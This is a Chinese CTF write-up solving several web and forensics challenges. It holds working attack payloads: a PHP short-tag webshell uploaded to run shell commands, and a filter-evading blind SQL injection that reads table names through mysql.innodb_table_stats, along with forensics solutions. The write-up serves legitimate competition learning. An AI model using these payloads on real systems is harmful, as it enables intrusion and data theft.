Web
write_shell
题目给出如下代码。
1 |
|
使用 ?action=pwd
得到当前沙盒路径 sandbox/4e5b09b2149f7619cca155c8bd6d8ee5/
。使用 <?=
标签构造出 payload ?action=upload&data=<?=`ls%09/`?>
之后再访问沙箱路径可得如下内容。
1 | !whatyouwantggggggg401.php bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var |
构造出 ?action=upload&data=<?=`nl%09/!whatyouwantggggggg401.*`?>
后再访问沙箱路径查看页面源代码可以发现如下内容,从而可以得到 flag。
1 | 1 $flag = 'flag{85d95bb1-3831-4529-8bfa-cc7336c57b27}'; |
1 | flag{85d95bb1-3831-4529-8bfa-cc7336c57b27} |
happysql
随手注册一个账号登录上去可以发现并没有业务界面,结合题目猜测是 SQL 注入,且注入点在登录或者注册的页面。因此构造出如下 payload 验证得到一个布尔逻辑。
1 | username=null"/**/||/**/1/**/In/**/(1)# |
于是尝试读取出数据库名,此时可以发现很多字符被 ban 了。这里记录一下部分遇到的字符。
1 | or,and,=,>,<,substr,if,[空格],+,- |
此时可以采用 In (1,2,3...)
的方式来二分盲注,使用 case when ... then ... else ... end
的语法来做逻辑判断。需要注意的是 in
并不是匹配一个区间而是需要穷举,譬如 select (2 in (1,3))
返回的将会是 0,应为此时的 2 既不是 1 也不是 3。因为 substr
被禁用,因此采用 left(reverse(left({sql},n)),1)
的办法来读到每一位。此时构造出如下两个 payload 即可验证可行性。
1 | username=null"/**/||/**/(case/**/when(ascii(left(reverse(left((select/**/database()),1)),1)))/**/in/**/(99)then(cot(0))else(1)end)# |
写个脚本用二分法查出表名。因为 or
被禁用导致没有 information_schema
可用,此时可以采用 mysql.innodb_table_stats
代替其查出表名。因为无法查出列名,因此采用无列名注入。写个脚本跑出 flag。
1 | import time |
1 | flag{972f6491-7e54-47b1-ada0-639991ecd284} |
eztp
ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链:https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA
.../www.zip
读到源码泄露。
Misc
签到
有手就行的答题。
在数据库系统中,口令保护是信息系统的第一道屏障。
为了防止物理上取走数据库而采取的加强数据库安全的方法是数据库加密。
系统要达到什么样的完整性,取决于系统所处理信息地重要程度、价值和敏感性。
在数据库的安全评估过程中,可行性是指系统能够对付各种可能地攻击的能力。
数据库访问控制策略中,只需策略是只让用户得到有相应权限的信息,这些信息恰到可以让用户完成自己的工作,其他的权利一律不给。
数据库的安全策略是指如何组织、管理、保护和处理敏感信息的指导思想。它包括安全管理策略、访问控制策略和信息控制策略。
数据库的加密方法中,采用库外加密,则密钥管理较为简单,只需借用文件加密的密钥管理方法。
在下面的加密方法中,元素加密加解密的效率最低。
事故故障是指事务在运行至正常终止前被中止,这时恢复子系统应利用日志文件撤销此事物已对数据库进行的修改。
发生介质故障后,磁盘上的物理数据和日志文件被破坏,这是最严重的一种故障,恢复方法是重装数据库,然后重做已完成的事务。
1 | flag{4df9488a-b979-4151-9f15-baa772faab3f} |
InputMonitor
Akira在某次取证的过程中,在桌面找到了一个奇怪的文件,但是除此之外好像没有找到什么有价值的情报,很多的数据都被抹干净了,而且这个用户似乎根本就没装什么第三方的软件。Akira还粗心的只拷贝了C盘下的User目录,这下还有机会解开可疑文件吗?
查看附件中用户 link3 的桌面文件可以发现如下提示。
1 | 没事,我都删掉了,之前的聊天记录都被我清干净了。除非他们在监控我输入 |
此时得知需要分析微软输入法的学习词库,并且可以得到 flag.7z。定向到 %appdata%\Microsoft\InputMethod\Chs
可得 ChsPinyinIH.dat 和 ChsPinyinUDL.dat。使用词库转换文件提取 UDL 文件中的内容可得提示。
studyzy/imewlconverter: https://github.com/studyzy/imewlconverter
此时可知密码是六个字。再将 IH 文件中的内容使用 UTF-16LE 的格式解码。
此时得到压缩包的密码 有志者事竟成
。解压压缩包后得到 hidden.pdf 文件。将 PDF 文件使用 Acrobat DC 打开后将图片移开即可得 flag。
1 | flag{Y0u_F1nd_h1dd3n_m3g} |
我的心是冰冰的
附件直接解压会提示文件头错误,因此直接采用 CyberChef 来提取文件。Extract Files
可以发现有如下图片,将图片和压缩文档下载下来。
对提取出的图片使用 Java 盲水印工具提取水印 javaw -jar .\BlindWatermark-v0.0.3-windows-x86_64.jar decode -c '.\extracted_at_0x51.jpg' '.\extracted_at_0x51_d.jpg'
可得如下图片。
可知压缩包密码为 gnibgnib
。解压压缩文件后得到流量包。使用 WireShark 很容易看出是 USB 流量。同时可以发现设备的制造厂商是 Holtek Semiconductor, Inc.
。先使用 tshark 将设备的 Leftover Capture Data 给提取出来 tshark.exe -r bingbing.pcapng -T fields -e usb.capdata > usbdata.txt
,可以得到如下内容。
1 | 0000230000000000 |
USB Keyboard Data Hacker 跑一下可得如下内容。
1 | 666c61677b3866396564326639333365662<DEL>31346138643035323364303334396531323939637d |
将数据整理成如下内容。
1 | 666c61677b38663965643266393333656631346138643035323364303334396531323939637d |
再 From Hex
即可以得到 flag。
1 | flag{8f9ed2f933ef14a8d0523d0349e1299c} |
歪比歪比
附件给出的 data 很明显是流量包,使用 Wireshark 分析,跟踪 TCP 流。
很容易看出是哈夫曼编码,网上找一段代码解码。
1 | #!/usr/bin/env python |
运行脚本得到如下结果。
1 | Decode result:jz7ezl64pjhgx6iun78roljc01bm72vjr7u44dfh9tewz8auzmzdzypet4d9xcehxspktdcgxgeeybmgva5pp9850b9mceifedlos6rehy8isvpzf6u545y50c4y9avuvqq3g1epi6igd6tciby7hep9o33cm3guo4qvcxqpcg6zdi5i1r6mmj6xcq5ummzm6jiniidbn51kppj15dp3zy4o8pww23kggukjrytosbkx8th00zba777e0kkz9e1te3u5i36fiym3pran1zgp2a192x63mnc35dhocqli21s2qby9htvdp82x9t6ai0n0wkvbl080bj3xzpj5m8a3jn67kh0le8v104lwa155n8n5o7y97ypdw6hv7d6rbkppxb3ktxnhttb29zsehww2u2x0fhb2k2p1uafhwrfgx7vha64xjr2ffewd30n9961ozt8dgdikly8cknf36kbh2chj28xrencflag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5}f43x61l9v3de9z0hiwfz30l1keik5vx48m4yrausvae6fq1q7b9yb4s4tzqbbkyy2hizvqg26spral8rkz37cuylk1k0wfy8p4zppjujggcvpv9e0nhfopumxecd4zbo5sc76zpx8kvttaohud4ltdw16vmgfgucfw2nnafkuup4a6sgkxpk4nw0ax65j6w2498qoap2pqf4el1tu79k6jagxq4q7injr6pkz8yroz25ymdv7uq8h3k24mgf63gmld1i1jga7yupef74l95xr11l1yemjscrn313u89ilrpm8cfj8x826igbfmfnw98qdkm8i3z1vj8ajsebab9w9afhaccvd8qsv2u8zcohp6bxkjonpfoio896q01vje9o2jp00snunzj6zandlq7l8hldsct3ha4dawq9lq8t3u34fmkxrmwd8o4tmow3028o1rqcjzkg9mubjwr5byx7hn44o38vd50 |
此时其中包含有 flag。
1 | flag{5rd477a2-6r36-dra9-9d63-49c2e9e5d1e5} |
但是需要注意的是,('r', 24),('0', 24)
两个字母的词频是一样的,因此实际上有两种解法,剩余的一种如下。
1 | flag{50d477a2-6036-d0a9-9d63-49c2e9e5d1e5} |